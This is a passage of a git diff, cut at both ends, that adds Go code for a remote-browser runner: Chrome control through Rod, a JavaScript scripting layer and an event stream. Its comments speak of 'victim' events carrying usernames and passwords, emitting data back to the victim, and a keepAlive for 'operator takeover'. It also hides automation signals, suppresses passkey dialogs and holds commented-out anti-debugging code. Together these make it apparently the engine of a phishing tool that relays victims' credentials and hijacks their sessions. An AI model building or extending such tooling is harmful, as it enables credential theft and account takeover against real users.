frame via CDP. + // For true worker consistency, prefer the lang option in newSession() which + // sets Chrome's --lang flag at process level. This method is useful for + // remote-mode sessions where launch flags cannot be changed. + pc.Set("setAcceptLanguage", func(call goja.FunctionCall) goja.Value { + lang := argStr(call.Argument(0)) + dbg("→ setAcceptLanguage " + lang) + // Preserve the current UA - EmulationSetUserAgentOverride requires it. + uaRes, err := page.Eval("navigator.userAgent") + if err != nil { + panic(vm.NewGoError(err)) + } + must(proto.EmulationSetUserAgentOverride{ + UserAgent: uaRes.Value.String(), + AcceptLanguage: lang, + }.Call(page)) + dbg("✓ setAcceptLanguage") + return goja.Undefined() + }) + + pc.Set("wait", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + dbg(fmt.Sprintf("→ wait %dms", ms)) + select { + case <-page.GetContext().Done(): + must(page.GetContext().Err()) + case <-time.After(time.Duration(ms) * time.Millisecond): + } + dbg(fmt.Sprintf("✓ wait %dms", ms)) + return goja.Undefined() + }) + + // disableFidoUI enables the CDP WebAuthn virtual authenticator environment. + // In this mode Chrome intercepts WebAuthn/FIDO requests via CDP instead of + // showing the native "Passkeys & Security Keys" browser dialog, so DOM + // interactions remain possible while on the FIDO page. + pc.Set("disableFidoUI", func(call goja.FunctionCall) goja.Value { + dbg("→ disableFidoUI") + must(proto.WebAuthnEnable{}.Call(page)) + dbg("✓ disableFidoUI") + return goja.Undefined() + }) + + // injectScript registers a JS snippet that runs before any page scripts on + // every subsequent navigation (CDP Page.addScriptToEvaluateOnNewDocument). + // Scoped to this page target only - does not affect other tabs or sessions. + pc.Set("injectScript", func(call goja.FunctionCall) goja.Value { + js := argStr(call.Argument(0)) + if js == "" { + panic(vm.NewTypeError("injectScript: script string required")) + } + dbg("→ injectScript") + _, err := proto.PageAddScriptToEvaluateOnNewDocument{Source: js}.Call(page) + must(err) + dbg("✓ injectScript") + return goja.Undefined() + }) +} diff --git a/backend/remotebrowser/emitter.go b/backend/remotebrowser/emitter.go new file mode 100644 index 0000000..a7de827 --- /dev/null +++ b/backend/remotebrowser/emitter.go @@ -0,0 +1,116 @@ +package remotebrowser + +import ( + "context" + "encoding/base64" + "time" +) + +// RunEvent is an event emitted during script execution. +type RunEvent struct { + Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit" + Key string `json:"key,omitempty"` // for type=event/screenshot (label) + Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data) + URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time) + Message string `json:"message,omitempty"` // for type=log/error/info + Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data) + Time string `json:"time"` +} + +// channelEmitter sends events to a buffered channel. All methods are safe to +// call from multiple goroutines; channel sends are already goroutine-safe. +type channelEmitter struct { + events chan RunEvent +} + +func newChannelEmitter(events chan RunEvent) *channelEmitter { + return &channelEmitter{events: events} +} + +func (e *channelEmitter) emit(key string, value any) { + e.send(RunEvent{ + Type: "event", + Key: key, + Value: value, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) log(msg string, data ...any) { + evt := RunEvent{ + Type: "log", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + } + if len(data) > 0 { + evt.Data = data[0] + } + e.send(evt) +} + +func (e *channelEmitter) errorf(msg string) { + e.send(RunEvent{ + Type: "error", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) { + e.send(RunEvent{ + Type: "screenshot", + Key: label, + Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf), + URL: pageURL, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) capture(data interface{}) { + e.send(RunEvent{ + Type: "capture", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) info(msg string) { + e.send(RunEvent{ + Type: "info", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) submitData(data interface{}) { + e.send(RunEvent{ + Type: "submit", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) done() { + e.send(RunEvent{ + Type: "done", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +// send delivers evt to the channel, dropping silently if the buffer is full. +func (e *channelEmitter) send(evt RunEvent) { + select { + case e.events <- evt: + default: + } +} + +// sendMust delivers evt to the channel, blocking until space is available or +// ctx is cancelled. Use only for events where a silent drop would corrupt +// session state (e.g. keep_alive). +func (e *channelEmitter) sendMust(ctx context.Context, evt RunEvent) { + select { + case e.events <- evt: + case <-ctx.Done(): + } +} diff --git a/backend/remotebrowser/navigate_safe.go b/backend/remotebrowser/navigate_safe.go new file mode 100644 index 0000000..0992b23 --- /dev/null +++ b/backend/remotebrowser/navigate_safe.go @@ -0,0 +1 @@ +package remotebrowser diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go new file mode 100644 index 0000000..b863ba3 --- /dev/null +++ b/backend/remotebrowser/runner.go @@ -0,0 +1,1316 @@ +package remotebrowser + +import ( + "bytes" + "context" + "io" + + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + "sync/atomic" + "time" + + "go.uber.org/zap" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/launcher" + "github.com/go-rod/rod/lib/launcher/flags" + "github.com/go-rod/rod/lib/proto" +) + +// Config holds browser connection and execution settings configurable by platform admins. +type Config struct { + Mode string `json:"mode"` // "local" or "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote) + Proxy string `json:"proxy"` // socks5:// or http:// (mode=local) + Headless bool `json:"headless"` // run Chrome in headless mode (mode=local) + Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout + Lang string `json:"lang"` // BCP 47 locale e.g. "en-US" (mode=local) + ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags e.g. ["--use-gl=egl"] (mode=local) +} + +const DefaultTimeout = 60_000 // ms + +// DefaultChromiumUA default user-agent +const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" + +// DefaultConfig returns a default config. +func DefaultConfig() Config { + return Config{ + Mode: "local", + Timeout: DefaultTimeout, + } +} + +// ParseConfig parses a JSON config string, returning defaults for empty input. +func ParseConfig(raw string) (Config, error) { + cfg := DefaultConfig() + if raw == "" { + return cfg, nil + } + if err := json.Unmarshal([]byte(raw), &cfg); err != nil { + return cfg, err + } + if cfg.Timeout <= 0 { + cfg.Timeout = DefaultTimeout + } + if cfg.Mode != "remote" { + cfg.Remote = "" + } + return cfg, nil +} + +// chromeEnv builds a minimal environment for the Chrome subprocess, plus any +// overrides. Passing os.Environ() to Chrome leaks secrets into the renderer process. +// Only variables Chrome actually needs are forwarded. +func chromeEnv(overrides ...string) []string { + allowed := map[string]bool{ + "HOME": true, "PATH": true, "USER": true, "LOGNAME": true, + "DISPLAY": true, "XAUTHORITY": true, "DBUS_SESSION_BUS_ADDRESS": true, + "FONTCONFIG_PATH": true, "FONTCONFIG_FILE": true, + } + var env []string + for _, kv := range os.Environ() { + key := kv + if i := strings.IndexByte(kv, '='); i >= 0 { + key = kv[:i] + } + if allowed[key] { + env = append(env, kv) + } + } + return append(env, overrides...) +} + +// resolveBrowserRootDir returns the directory Rod uses to cache its auto-downloaded +// Chromium. We use a path next to the running binary rather than $HOME/.cache +func resolveBrowserRootDir() (string, error) { + execPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot locate browser cache dir: %w", err) + } + return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil +} + +// chromeSterrWriter is an io.Writer that fans Chrome stdout/stderr lines out to +// the session emitter (when emitter != nil) and/or the app logger (when logger != nil). +type chromeSterrWriter struct { + emitter *channelEmitter // non-nil → forward to session event stream + logger *zap.SugaredLogger // non-nil → forward to app debug log + buf []byte +} + +func (w *chromeSterrWriter) Write(p []byte) (int, error) { + w.buf = append(w.buf, p...) + for { + idx := bytes.IndexByte(w.buf, '\n') + if idx < 0 { + break + } + line := strings.TrimSpace(string(w.buf[:idx])) + w.buf = w.buf[idx+1:] + if line != "" { + if w.emitter != nil { + w.emitter.log("[chrome] " + line) + } + if w.logger != nil { + w.logger.Debugw(line, "source", "chrome") + } + } + } + return len(p), nil +} + +// scriptStopError is thrown by stop() for a clean script exit with no error emitted. +type scriptStopError struct{} + +func (scriptStopError) Error() string { return "script stopped" } + +// knownGoErrors maps substrings in a GoError message to a friendlier single line description. +// Only Rod/CDP/network-specific errors belong here. context.Canceled and +// context.DeadlineExceeded are handled earlier via errors.Is and never reach cleanGoError. +var knownGoErrors = []struct { + substr string + message string +}{ + {"connection refused", "browser connection refused — is Chrome running?"}, + {"use of closed network connection", "browser connection closed unexpectedly"}, + {"i/o timeout", "browser CDP connection timed out"}, + {"EOF", "browser disconnected unexpectedly"}, + {"Target closed", "browser tab was closed"}, + {"page not found", "browser tab was closed"}, +} + +// cleanGoError returns a friendly single line message for common GoError strings, +// stripping the "GoError: " prefix and JS stack trace. Unknown errors are returned +// with the prefix stripped but the stack trace removed. +func cleanGoError(s string) string { + // Strip leading "GoError: " prefix if present. + msg := strings.TrimPrefix(s, "GoError: ") + // Remove everything from the first newline (stack trace). + if idx := strings.IndexByte(msg, '\n'); idx >= 0 { + msg = msg[:idx] + } + // Map messages to friendly descriptions. + lower := strings.ToLower(msg) + for _, e := range knownGoErrors { + if strings.Contains(lower, e.substr) { + return e.message + } + } + return msg +} + +// Runner executes a JS script against a Chrome instance and streams events +// to the Events channel. The caller must close or drain Events after Run returns. +type Runner struct { + Script string + Config Config + // ExecPath is the server-configured Chrome binary path (from config.json, + // not user-supplied). Empty = Rod auto-download. + ExecPath string + // Logger, when set, receives Chrome process stdout/stderr at debug level. + Logger *zap.SugaredLogger + Events chan RunEvent // server → client + Incoming chan IncomingMsg // client → script (victim events / test injections) + // BrowserCh receives the *rod.Page as soon as newSession() spawns the browser. + // The caller reads this once to obtain the page for streaming. + BrowserCh chan *rod.Page + // LiveCh receives the *rod.Page when s.keepAlive() is called (kept for compat). + LiveCh chan *rod.Page + // StreamCh receives commands from s.stream(selector, name) / stop(). + StreamCh chan StreamCmd + // keepAliveActive is set by s.keepAlive() so Run() parks after the script + // finishes, waiting for the operator to explicitly end the session. + keepAliveActive atomic.Bool +} + +// IncomingMsg is an event sent from the client into the running script. +// Wire format: {"event": "credentials", "data": {"username": "...", "password": "..."}} +type IncomingMsg struct { + Event string `json:"event"` + Data any `json:"data"` +} + +// StreamCmd is sent on Runner.StreamCh when the script calls s.stream() or the returned stop(). +type StreamCmd struct { + Op string // "start" | "stop" + Selector string // CSS selector (Op=start) + Name string // stream name + Page *rod.Page // rod page (Op=start) + MaxFps int // 0 = unlimited + Quality int // JPEG re-encode quality 1-100; 0 = default (92) +} + +// NewRunner creates a Runner with buffered event channels. +func NewRunner(script string, cfg Config) *Runner { + return &Runner{ + Script: script, + Config: cfg, + Events: make(chan RunEvent, 256), + Incoming: make(chan IncomingMsg, 256), + BrowserCh: make(chan *rod.Page, 1), + LiveCh: make(chan *rod.Page, 1), + StreamCh: make(chan StreamCmd, 16), + } +} + +// Run executes the script. It blocks until the script finishes, the context is +// cancelled, or the global timeout fires. The Events channel is closed when Run +// returns. +func (r *Runner) Run(ctx context.Context) error { + defer close(r.Events) + defer close(r.StreamCh) + + emitter := newChannelEmitter(r.Events) + + // Last resort recovery: rod can panic with nil-pointer dereferences inside goja + // native callbacks. Goja panics non-Value panics, which would crash the process. + // Catch anything that escapes vm.RunString so a broken script never takes down the server. + defer func() { + if rec := recover(); rec != nil { + emitter.errorf(fmt.Sprintf("internal error: %v", rec)) + } + }() + + timeout := time.Duration(r.Config.Timeout) * time.Millisecond + outerCtx := ctx // operator-level context; only cancelled explicitly + ctx, timeoutCancel := context.WithTimeout(outerCtx, timeout) + defer timeoutCancel() + + vm := goja.New() + + // Interrupt the JS VM on termination. Two cases: + // DeadlineExceeded — real timeout: interrupt immediately. + // Canceled — either keepAlive() cancelled the script timeout to + // park the session, or the operator cancelled. Either + // way wait for the outer context so we only interrupt + // when the operator actually ends the session. + go func() { + <-ctx.Done() + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + vm.Interrupt(ctx.Err()) + return + } + <-outerCtx.Done() + vm.Interrupt(outerCtx.Err()) + }() + + // vmArgStr returns "" for undefined/null instead of the string "undefined". + vmArgStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + vm.Set("stop", func(call goja.FunctionCall) goja.Value { + panic(vm.NewGoError(scriptStopError{})) + }) + + vm.Set("emit", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + value := call.Argument(1).Export() + emitter.emit(key, value) + return goja.Undefined() + }) + + vm.Set("log", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + if len(call.Arguments) > 1 && !goja.IsUndefined(call.Argument(1)) && !goja.IsNull(call.Argument(1)) { + emitter.log(msg, call.Argument(1).Export()) + } else { + emitter.log(msg) + } + return goja.Undefined() + }) + + vm.Set("info", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + emitter.info(msg) + return goja.Undefined() + }) + + vm.Set("submitData", func(call goja.FunctionCall) goja.Value { + data := call.Argument(0).Export() + emitter.submitData(data) + return goja.Undefined() + }) + + // eventQueue buffers events received by race() that didn't match any race condition, + // so they remain available for subsequent waitForEvent / waitForAny calls. + var eventQueue []IncomingMsg + enqueue := func(msg IncomingMsg) { + if len(eventQueue) < 512 { + eventQueue = append(eventQueue, msg) + } + } + + // nextMatchingEvent returns the first event in eventQueue whose name is in keySet, + // removing it from the queue. Returns ok=false if no match is buffered. + nextMatchingEvent := func(keySet map[string]bool) (IncomingMsg, bool) { + for i, msg := range eventQueue { + if keySet[msg.Event] { + eventQueue = append(eventQueue[:i], eventQueue[i+1:]...) + return msg, true + } + } + return IncomingMsg{}, false + } + + vm.Set("waitForEvent", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + emitter.log(fmt.Sprintf("[waitForEvent] waiting for %q", key)) + ks := map[string]bool{key: true} + if msg, ok := nextMatchingEvent(ks); ok { + emitter.log(fmt.Sprintf("[waitForEvent] received %q (queued)", key)) + return vm.ToValue(msg.Data) + } + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg := <-r.Incoming: + if msg.Event == key { + emitter.log(fmt.Sprintf("[waitForEvent] received %q", key)) + return vm.ToValue(msg.Data) + } + enqueue(msg) + } + } + }) + + vm.Set("waitForAny", func(call goja.FunctionCall) goja.Value { + // waitForAny(["password", "username"]) or waitForAny("password", "username") + // Returns {event: "...", data: ...} for whichever arrives first. + keySet := make(map[string]bool) + if len(call.Arguments) == 1 { + if arr, ok := call.Argument(0).Export().([]interface{}); ok { + for _, v := range arr { + keySet[fmt.Sprintf("%v", v)] = true + } + } else { + keySet[vmArgStr(call.Argument(0))] = true + } + } else { + for _, a := range call.Arguments { + keySet[vmArgStr(a)] = true + } + } + if msg, ok := nextMatchingEvent(keySet); ok { + result := vm.NewObject() + result.Set("event", msg.Event) + result.Set("data", vm.ToValue(msg.Data)) + return result + } + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg := <-r.Incoming: + if keySet[msg.Event] { + result := vm.NewObject() + result.Set("event", msg.Event) + result.Set("data", vm.ToValue(msg.Data)) + return result + } + enqueue(msg) + } + } + }) + + // retry(max, fn) or retry({max, wait}, fn) + // fn receives a RetryContext and returns truthy to break (the value is returned), + // or false/undefined to retry. Returns null when all attempts are exhausted. + vm.Set("retry", func(call goja.FunctionCall) goja.Value { + if len(call.Arguments) < 2 { + panic(vm.NewTypeError("retry: expected (max, fn) or ({max, wait}, fn)")) + } + + maxAttempts := 10 + waitMs := 0 + + firstArg := call.Argument(0) + switch firstArg.Export().(type) { + case int64, float64, int, int32, int16, int8, uint, uint64, uint32, uint16, uint8: + maxAttempts = int(firstArg.ToInteger()) + default: + obj := firstArg.ToObject(vm) + if mv := obj.Get("max"); mv != nil && !goja.IsUndefined(mv) && !goja.IsNull(mv) { + maxAttempts = int(mv.ToInteger()) + } + if wv := obj.Get("wait"); wv != nil && !goja.IsUndefined(wv) && !goja.IsNull(wv) { + waitMs = int(wv.ToInteger()) + } + } + + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("retry: second argument must be a function")) + } + + for attempt := 1; attempt <= maxAttempts; attempt++ { + loopCtx := vm.NewObject() + loopCtx.Set("attempt", attempt) + loopCtx.Set("max", maxAttempts) + loopCtx.Set("isFirst", attempt == 1) + loopCtx.Set("isLast", attempt == maxAttempts) + + result, err := fn(goja.Undefined(), loopCtx) + if err != nil { + panic(err) + } + + // explicit false → retry; any other truthy value (including true) → done + if !goja.IsNull(result) && !goja.IsUndefined(result) { + if b, isBool := result.Export().(bool); !isBool || b { + return result + } + } + + if waitMs > 0 && attempt < maxAttempts { + timer := time.NewTimer(time.Duration(waitMs) * time.Millisecond) + select { + case <-ctx.Done(): + timer.Stop() + panic(vm.NewGoError(ctx.Err())) + case <-timer.C: + } + } + } + + return goja.Null() + }) + + // Note: withTimeout is intentionally NOT available at the top level because + // there is no page context to thread through. Use session.withTimeout(ms, fn) instead. + + vm.Set("newSession", func(call goja.FunctionCall) goja.Value { + type sessionOpts struct { + Proxy string + Remote string + Headless bool + IdleTimeout int // ms; 0 = disabled + Debug bool + ChromeDebug bool + QueryTimeout int // ms; 0 = no timeout on read ops + UserAgent string + Lang string // BCP 47 locale, e.g. "en-US" - sets --lang flag (local mode only) + ExtraFlags []string // additional Chrome CLI flags e.g. ["--use-gl=egl"] (local mode only) + } + opts := sessionOpts{ + Headless: r.Config.Headless, + Lang: r.Config.Lang, + ExtraFlags: r.Config.ExtraFlags, + } + if r.Config.Proxy != "" { + opts.Proxy = r.Config.Proxy + } + if r.Config.Mode == "remote" && r.Config.Remote != "" { + opts.Remote = r.Config.Remote + } + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("proxy"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Proxy = v.String() + } + if v := obj.Get("remote"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Remote = v.String() + } + if v := obj.Get("headless"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Headless = v.ToBoolean() + } + if v := obj.Get("idleTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.IdleTimeout = int(v.ToInteger()) + } + if v := obj.Get("debug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Debug = v.ToBoolean() + } + if v := obj.Get("chromeDebug"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.ChromeDebug = v.ToBoolean() + } + if v := obj.Get("queryTimeout"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.QueryTimeout = int(v.ToInteger()) + } + if v := obj.Get("userAgent"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.UserAgent = v.String() + } + if v := obj.Get("lang"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Lang = v.String() + } + if v := obj.Get("extraFlags"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + if arr, ok := v.Export().([]interface{}); ok { + for _, item := range arr { + if s, ok := item.(string); ok && s != "" { + opts.ExtraFlags = append(opts.ExtraFlags, s) + } + } + } + } + } + } + + var browser *rod.Browser + var page *rod.Page + + if opts.Remote != "" { + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] warning: proxy %q ignored for remote browser", opts.Proxy)) + } + // ResolveURL normalises any of: bare port "9222", "http://host:9222", + // or a full "ws://..." URL to the actual DevTools WebSocket URL by + // fetching /json/version. Users don't need to copy the UUID manually. + wsURL, resolveErr := launcher.ResolveURL(opts.Remote) + if resolveErr != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: cannot resolve remote URL %q: %v", opts.Remote, resolveErr)) + return goja.Undefined() + } + emitter.log(fmt.Sprintf("[session] connecting to remote browser at %s", wsURL)) + browser = rod.New().ControlURL(wsURL).Context(outerCtx) + if connectErr := browser.Connect(); connectErr != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr)) + return goja.Undefined() + } + var pageErr error + page, pageErr = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if pageErr != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", pageErr)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + } else { + rootDir, err := resolveBrowserRootDir() + if err != nil { + emitter.errorf(err.Error()) + return goja.Undefined() + } + // Newer Chromium requires writable XDG dirs and a crash-dumps-dir at + // startup (see go-rod#1126). Use subdirs of the browser root so all + // Chrome-related data lives in one place. + crashDir := filepath.Join(rootDir, "crashes") + if err := os.MkdirAll(crashDir, 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create crash dir: %v", err)) + } + if err := os.MkdirAll(filepath.Join(rootDir, "config"), 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create config dir: %v", err)) + } + if err := os.MkdirAll(filepath.Join(rootDir, "cache"), 0755); err != nil { + emitter.log(fmt.Sprintf("[session] warning: could not create cache dir: %v", err)) + } + + var chromeLogger io.Writer = io.Discard + if opts.ChromeDebug || r.Logger != nil { + cw := &chromeSterrWriter{logger: r.Logger} + if opts.ChromeDebug { + cw.emitter = emitter + } + chromeLogger = cw + } + l := launcher.New(). + Headless(opts.Headless). + Logger(chromeLogger). + Set("disable-crash-reporter"). + Set("crash-dumps-dir", crashDir). + Set("disable-blink-features", "AutomationControlled"). + Delete("enable-automation"). + Env(chromeEnv( + "XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"), + "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), + )...) + + if r.ExecPath != "" { + emitter.log(fmt.Sprintf("[session] using browser: %s", r.ExecPath)) + l = l.Bin(r.ExecPath) + } else { + b := launcher.NewBrowser() + b.RootDir = rootDir + binPath := b.BinPath() + if _, err := os.Stat(binPath); os.IsNotExist(err) { + if err := b.Download(); err != nil { + emitter.errorf(fmt.Sprintf("browser download failed: %v", err)) + return goja.Undefined() + } + } + emitter.log(fmt.Sprintf("[session] using browser: %s", binPath)) + l = l.Bin(binPath) + } + if opts.Proxy != "" { + emitter.log(fmt.Sprintf("[session] using proxy: %s", opts.Proxy)) + l = l.Proxy(opts.Proxy).Set("proxy-bypass-list", "") + } + if opts.Lang != "" { + // Sets navigator.language, navigator.languages, and the Accept-Language + // HTTP header at the process level - consistent across main frame and + // Web Workers (unlike Page.addScriptToEvaluateOnNewDocument which only + // runs in the main frame). + emitter.log(fmt.Sprintf("[session] using lang: %s", opts.Lang)) + l = l.Set("lang", opts.Lang).Set("accept-lang", opts.Lang) + } + for _, rawFlag := range opts.ExtraFlags { + rawFlag = strings.TrimSpace(rawFlag) + // "!--flag-name" removes a flag from the launcher (e.g. to strip a rod default). + if strings.HasPrefix(rawFlag, "!--") { + name := flags.Flag(strings.TrimPrefix(rawFlag, "!--")) + l = l.Delete(name) + emitter.log(fmt.Sprintf("[session] removed flag: --%s", string(name))) + continue + } + if !strings.HasPrefix(rawFlag, "--") { + continue + } + rawFlag = strings.TrimPrefix(rawFlag, "--") + parts := strings.SplitN(rawFlag, "=", 2) + key := flags.Flag(parts[0]) + if len(parts) == 2 { + l = l.Set(key, parts[1]) + } else { + l = l.Set(key) + } + emitter.log(fmt.Sprintf("[session] extra flag: --%s", parts[0])) + } + u, err := l.Launch() + if err != nil { + emitter.errorf(fmt.Sprintf("browser launch failed: %v", err)) + return goja.Undefined() + } + // Kill and clean up Chrome when the session ends. Without this, stopping + // a run before s.close() is called leaves a zombie Chrome process (~200-300 MB). + go func() { + <-outerCtx.Done() + l.Kill() + l.Cleanup() + }() + browser = rod.New().ControlURL(u).Context(outerCtx) + if err := browser.Connect(); err != nil { + emitter.errorf(fmt.Sprintf("browser connect failed: %v", err)) + return goja.Undefined() + } + page, err = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if err != nil { + emitter.errorf(fmt.Sprintf("page create failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + /* + // ignore "debugger;" code lines explicitly + err = proto.DebuggerSetSkipAllPauses{Skip: true}.Call(page) + if err != nil { + emitter.errorf(fmt.Sprintf("skip debug failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + // patch console Log + _, err = page.EvalOnNewDocument(`() => { + const noop = () => {}; + + console.log = noop; + console.table = noop; + console.clear = noop; + console.debug = noop; + console.info = noop; + console.warn = noop; + }`) + if err != nil { + emitter.errorf(fmt.Sprintf("console patch failed: %v", err)) + browser.Close() //nolint:errcheck + return goja.Undefined() + } + */ + } + + // Apply user-agent override. When headless and no explicit UA is set we use + // DefaultChromiumUA to strip "HeadlessChrome" from the header + ua := opts.UserAgent + if ua == "" && opts.Headless { + ua = DefaultChromiumUA + } + if ua != "" { + if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil { + emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err)) + } + } + + // Signal the controller that a page is ready for streaming. + select { + case r.BrowserCh <- page: + default: + } + + session := vm.NewObject() + RegisterBrowserBindings(vm, session, page, emitter, opts.Debug, opts.QueryTimeout) + + session.Set("withTimeout", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("withTimeout: second argument must be a function")) + } + tCtx, tCancel := context.WithTimeout(page.GetContext(), time.Duration(ms)*time.Millisecond) + defer tCancel() + tPage := page.Context(tCtx) + tmpSession := vm.NewObject() + RegisterBrowserBindings(vm, tmpSession, tPage, nil, opts.Debug, opts.QueryTimeout) + _, err := fn(goja.Undefined(), tmpSession) + if err != nil { + // If our own timeout context expired, return false instead of + // propagating — lets callers branch without try/catch. + if tCtx.Err() != nil { + return vm.ToValue(false) + } + panic(err) + } + return vm.ToValue(true) + }) + + session.Set("close", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] closing") + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + }) + + // keepAlive signals the caller that the page is available for operator + // takeover and cancels the script timeout so the parked session isn't + // killed after 60 s. It is intentionally non-blocking: the script + // continues after the call (so emit() calls after keepAlive() reach + // the victim). Run() parks itself after RunString returns. + session.Set("keepAlive", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] keeping alive for remote takeover") + // Re-bind page to outerCtx before cancelling the timeout context. + // The browser was created with the timed ctx; if we cancel it first, + // page.GetContext() closes and StreamLiveSession fires "Session ended" + // before the operator even connects. + livePage := page.Context(outerCtx) + select { + case r.LiveCh <- livePage: + default: + } + emitter.sendMust(outerCtx, RunEvent{ + Type: "keep_alive", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) + r.keepAliveActive.Store(true) + timeoutCancel() // release script timeout — operator controls lifetime now + return goja.Undefined() + }) + + // Event-driven API: s.on(event, fn) + s.listen() + s.done() + handlers := map[string]goja.Callable{} + listenDone := make(chan struct{}, 1) + + session.Set("on", func(call goja.FunctionCall) goja.Value { + event := call.Argument(0).String() + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("on: second argument must be a function")) + } + handlers[event] = fn + return goja.Undefined() + }) + + session.Set("done", func(call goja.FunctionCall) goja.Value { + select { + case listenDone <- struct{}{}: + default: + } + return goja.Undefined() + }) + + session.Set("listen", func(call goja.FunctionCall) goja.Value { + emitter.log("[session] listening for events") + + var idleCh <-chan time.Time + var idleTimer *time.Timer + resetIdle := func() { + if opts.IdleTimeout > 0 { + if idleTimer != nil { + idleTimer.Stop() + } + idleTimer = time.NewTimer(time.Duration(opts.IdleTimeout) * time.Millisecond) + idleCh = idleTimer.C + } + } + defer func() { + if idleTimer != nil { + idleTimer.Stop() + } + }() + resetIdle() + + for { + select { + case <-ctx.Done(): + return goja.Undefined() + case <-listenDone: + return goja.Undefined() + case <-idleCh: + emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout)) + if opts.Remote != "" { + page.Close() //nolint:errcheck + } else { + browser.Close() //nolint:errcheck + } + return goja.Undefined() + case msg := <-r.Incoming: + resetIdle() + fn, exists := handlers[msg.Event] + if !exists { + emitter.log(fmt.Sprintf("[session] no handler for %q, ignoring", msg.Event)) + continue + } + if _, err := fn(goja.Undefined(), vm.ToValue(msg.Data)); err != nil { + panic(err) + } + } + } + }) + + // s.stream(selector, name) — non-blocking; returns {stop()} to end the stream. + // The caller (controller) watches StreamCh to start/stop cropped frame forwarding. + streamDebug := opts.Debug // capture bool, not struct field, to match RegisterBrowserBindings pattern + session.Set("stream", func(call goja.FunctionCall) goja.Value { + selector := vmArgStr(call.Argument(0)) + name := vmArgStr(call.Argument(1)) + if selector == "" || name == "" { + panic(vm.NewTypeError("stream: selector and name are required")) + } + maxFps := 0 + quality := 0 + if len(call.Arguments) > 2 { + if obj := call.Argument(2).ToObject(vm); obj != nil { + if v := obj.Get("maxFps"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + maxFps = int(v.ToInteger()) + } + if v := obj.Get("quality"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + 